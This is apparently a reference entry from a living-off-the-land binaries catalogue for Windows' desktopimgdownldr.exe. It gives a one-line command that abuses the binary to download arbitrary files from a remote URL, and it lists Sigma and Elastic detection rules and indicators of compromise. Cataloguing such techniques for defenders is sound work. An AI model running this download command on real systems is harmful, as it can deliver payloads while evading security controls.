Desktopimgdownldr.exe

Commands

1. DownloadUser T1105

   Download arbitrary files from a web server

   set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:{REMOTEURL} /eventName:desktopimgdownldr

   Downloads the file and sets it as the computer’s lockscreen

   os: Windows 10, Windows 11

Detection

• Sigma https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_desktopimgdownldr_susp_execution.yml
• Sigma https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/file/file_event/file_event_win_susp_desktopimgdownldr_file.yml
• Elastic https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/command_and_control_remote_file_copy_desktopimgdownldr.toml
• IOCdesktopimgdownldr.exe that creates non-image file
• IOCChange of HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP\LockScreenImageUrl

Resources

• https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/